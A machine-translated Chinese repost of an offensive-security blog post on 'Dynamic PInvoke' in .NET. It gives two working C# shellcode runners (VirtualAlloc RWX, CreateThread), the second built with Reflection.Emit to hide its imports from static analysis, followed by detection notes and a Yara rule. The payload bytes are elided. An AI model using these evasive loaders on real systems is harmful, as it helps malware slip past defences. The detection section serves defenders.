开卷有益 · 不求甚解
是的,你没看错——“Dynamic Pinvoke”就像“Dynamic Platform Invoke”一样
最近,我浏览了 Microsoft 文档和其他博客,以更好地了解 .NET 动态类型和对象。我一直觉得这个话题很有趣,主要是因为它相对晦涩难懂,而且防守规避的进攻机会。在这篇文章中,我们将简要探讨“经典”PInvoke (P/Invoke),讨论其固有的局限性,并介绍一种轻量级技术 ( Dynamic PInvoke ),它使我们能够以与托管代码略有不同的方式调用和执行本机代码。
注意事项和注意事项
Platform Invoke,也称为 PInvoke,是一种受良好支持的 .NET 技术,用于访问托管编码语言中的非托管代码。如果您之前研究过 .NET 托管到非托管互操作代码,那么您可能非常熟悉System.Runtime.InteropServices命名空间中的 PInvoke 方法和结构。在攻击性操作中,带有 PInvoke 签名的简单 C-Sharp (C#) shellcode 运行程序程序可能看起来像这样:
using System;
using System.Runtime.InteropServices;namespace ShellcodeLoader
{
class Program
{
static void Main(string[] args)
{
byte[] x64shellcode = new byte[294] {
0xfc,0x48, ... };
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(ulong)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);
IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
#region pinvokes
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateThread(
uint lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr param,
uint dwCreationFlags,
ref uint lpThreadId);
[DllImport("kernel32.dll")]
private static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
public enum StateEnum
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_FREE = 0x10000
}
public enum Protection
{
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
}
#endregion
}
}
当托管代码编译为 .NET 可移植可执行文件 (PE) 时,C# 源代码实际上被编译为中间语言 (MSIL) 字节码并传递给公共语言运行时 (CLR) 以促进执行。.NET 可执行文件的组成遵循标准的 PE/COFF 格式,因此它将包括预期的结构和标头,就像本机 PE 一样,但带有额外的 CLR 标头和数据部分。但是,如果我们使用pestudio之类的工具分析.NET PE并查看导入,我们会注意到只有一个名为*_CorExeMain*的条目:
我们可能已经预料到会从 shellcode 运行器中看到 Kernel32 导出的方法,但这些条目并未存储在 PE 的导入查找表或导入地址表 (IAT) 中。相反,我们可以在 CLR 元数据的ImplMap表下找到 PInvoke 方法。使用monodis程序,我们可以快速转储包含一些额外元数据的 ImplMap 的内容:
要查看来自 PE 的实际 PInvoke 签名,可以轻松地将 MSIL 反转回托管代码(逐字)并使用dnSpy和ILSpy等程序进行分析:
那么,从攻击性安全角度来看,使用经典 PInvoke 究竟意味着什么?首先,通过简单的手动分析,代码中显示的 PInvoke 定义的集合可以被视为可疑指标,因为 PInvoke 签名不容易混淆或调整。此外,TheWover的Emulating Covert Operations – Dynamic Invocation 博客中描述了使用 PInvoke 定义的以下缺陷:
那么,这可能如何改进呢?让我们看一下Dynamic PInvoke。
.NET 中的动态类型和对象非常有趣且非常强大。根据这个Microsoft Doc ,动态对象“在**运行时而*不是在编译时公开属性和方法等成员。这使您能够创建对象以使用与静态类型或格式不匹配的***结构。” 通过利用System.Reflection.Emit命名空间,可以在动态对象中创建动态程序集并最终在运行时执行。
作为背景,您可能已经熟悉System.Reflection命名空间,其中包含用于从 .NET 组件(如程序集、模块、成员、元数据等)检索和访问数据的类和类型。通过反射,也可以调用 .NET 方法,这在进攻性行动和内存交易中非常流行。System.Reflection.Emit 允许我们进一步定义我们最终想要使用构建器类、模块、类型和方法调用的对象和方法。现在,让我们进入文章的实质,谈谈非常有趣的typebuilder方法——DefinePInvokeMethod ()。
在上一节中,出现了一个 PInvoke 方法签名结构,如下所示:
[DllImport("kernel32.dll")]
private static extern IntPtr VirtualAlloc(
IntPtr lpStartAddr,
ulong size,
uint flAllocationType,
uint flProtect);
对于动态调用,必须以与*DefinePInvokeMethod()*兼容的方式检测 PInvoke 签名。因此,我们的下一个示例将利用相同的 shellcode 执行技术和 Kernel32 导出,但我们将准备一个处理构建器逻辑的函数并实现我们自己的函数,这些函数映射到每个所需的 Kernel32 调用,以保持代码简单易懂。
构建器逻辑函数(在我们的示例中称为DynamicPInvokeBuilder())创建一个动态程序集以在默认应用程序域中执行。在函数中,使用我们的目标 Kernel32 导出以及方法属性、参数和参数类型调用DefinePInvokeMethod() 。
代码功能相对简单。对于我们的示例,我们将仅保留 Kernel32 导出的名称,但这不是必需的。每个函数使用映射到各自参数、参数类型和返回方法类型的对象数组有效地调用**DynamicPInvokeBuilder* () 。*
我们修改后的托管 shellcode 运行器如下所示:
using System;
using System.Runtime.InteropServices;
using System.Reflection;
using System.Reflection.Emit;namespace ShellcodeLoader
{
class Program
{
static void Main(string[] args)
{
byte[] x64shellcode = new byte[294] {0xfc,0x48, ... };
IntPtr funcAddr = VirtualAlloc(
IntPtr.Zero,
(uint)x64shellcode.Length,
(uint)StateEnum.MEM_COMMIT,
(uint)Protection.PAGE_EXECUTE_READWRITE);
Marshal.Copy(x64shellcode, 0, (IntPtr)(funcAddr), x64shellcode.Length);
IntPtr hThread = IntPtr.Zero;
uint threadId = 0;
IntPtr pinfo = IntPtr.Zero;
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;
}
public static object DynamicPInvokeBuilder(Type type, string library, string method, Object[] args, Type[] paramTypes)
{
AssemblyName assemblyName = new AssemblyName("Temp01");
AssemblyBuilder assemblyBuilder = AppDomain.CurrentDomain.DefineDynamicAssembly(assemblyName, AssemblyBuilderAccess.Run);
ModuleBuilder moduleBuilder = assemblyBuilder.DefineDynamicModule("Temp02");
MethodBuilder methodBuilder = moduleBuilder.DefinePInvokeMethod(method, library, MethodAttributes.Public | MethodAttributes.Static | MethodAttributes.PinvokeImpl, CallingConventions.Standard, type, paramTypes, CallingConvention.Winapi, CharSet.Ansi);
methodBuilder.SetImplementationFlags(methodBuilder.GetMethodImplementationFlags() | MethodImplAttributes.PreserveSig);
moduleBuilder.CreateGlobalFunctions();
MethodInfo dynamicMethod = moduleBuilder.GetMethod(method);
object res = dynamicMethod.Invoke(null, args);
return res;
}
public static IntPtr VirtualAlloc(IntPtr lpAddress, UInt32 dwSize, UInt32 flAllocationType, UInt32 flProtect)
{
Type[] paramTypes = { typeof(IntPtr), typeof(UInt32), typeof(UInt32), typeof(UInt32) };
Object[] args = { lpAddress, dwSize, flAllocationType, flProtect };
object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.dll", "VirtualAlloc", args, paramTypes);
return (IntPtr)res;
}
public static IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, UInt32 dwCreationFlags, ref UInt32 lpThreadId)
{
Type[] paramTypes = { typeof(UInt32), typeof(UInt32), typeof(IntPtr), typeof(IntPtr), typeof(UInt32), typeof(UInt32).MakeByRefType() };
Object[] args = { lpThreadAttributes, dwStackSize, lpStartAddress, lpParameter, dwCreationFlags, lpThreadId };
object res = DynamicPInvokeBuilder(typeof(IntPtr), "Kernel32.dll", "CreateThread", args, paramTypes);
return (IntPtr)res;
}
public static Int32 WaitForSingleObject(IntPtr Handle, UInt32 Wait)
{
Type[] paramTypes = { typeof(IntPtr), typeof(UInt32) };
Object[] args = { Handle, Wait };
object res = DynamicPInvokeBuilder(typeof(Int32), "Kernel32.dll", "WaitForSingleObject", args, paramTypes);
return (Int32)res;
}
public enum StateEnum
{
MEM_COMMIT = 0x1000,
MEM_RESERVE = 0x2000,
MEM_FREE = 0x10000
}
public enum Protection
{
PAGE_READONLY = 0x02,
PAGE_READWRITE = 0x04,
PAGE_EXECUTE = 0x10,
PAGE_EXECUTE_READ = 0x20,
PAGE_EXECUTE_READWRITE = 0x40,
}
}
}
一旦 PE 编译并执行,shellcode 就会启动:
现在,让我们看一些与经典 PInvoke 进行比较的 observables。首先,CLR 元数据中的ImplMap表(由 monodis 捕获)不再像上一节那样填充:
在 dnSpy 中,我们可以清楚地看到逆向 MSIL 的源代码。但是,如果需要,还有进一步混淆和增强的机会:
总的来说,动态调用是成功的!让我们来看看一些防守机会......
.NET Introspection:在此实现中,为每个 PInvoke 定义创建一个动态程序集模块(可以改进)。这可能被视为异常行为,尤其是对于可重复或随机命名的程序集。
具有 .NET 内省(例如通过挂钩或 ETW)的EDR 和分析工具(例如ProcessHacker)应该能够捕获异常的内存中程序集负载(尤其是那些没有磁盘备份的负载)。
恶意软件分析:根据个人观察,除了一些 PowerShell 工具外,我没有看到太多关于DefinePInvokeMethod的攻击性使用。因此,利用这个机会搜索方法字符串作为静态或沙盒分析的一部分可能是令人信服的。
这个简单的 Yara 规则可能有助于作为发现的起点:
rule Find_Dynamic_PInvoke
{ meta:
description = "Locate use of the DefinePInvokeMethod typebuilder method in .NET binaries or managed code."
strings:
$method= "DefinePInvokeMethod"
condition:
$method
}
如您所见,动态类型、对象和调用在 .NET 中非常强大。在这方面有更多探索的机会,例如使用ILGenerator类直接使用 MSIL 来定义方法,增强示例*DynamicPInvokeBuilder()*方法以支持更有趣的本机函数,或利用其他动态技术来调用本机代码(例如功能委托)。
一如既往,感谢您花时间阅读这篇文章。希望你觉得它有用。
近期阅读文章
,质量尚可的,大部分较新,但也可能有老文章。开卷有益,不求甚解
,不需面面俱到,能学到一个小技巧就赚了。译文仅供参考
,具体内容表达以及含义, 以原文为准
(译文来自自动翻译)尽量阅读原文
。(点击原文跳转)每日早读
基本自动化发布(不定期删除),这是一项测试
最新动态: Follow Me
微信/微博:
red4blue
公众号/知乎:
blueteams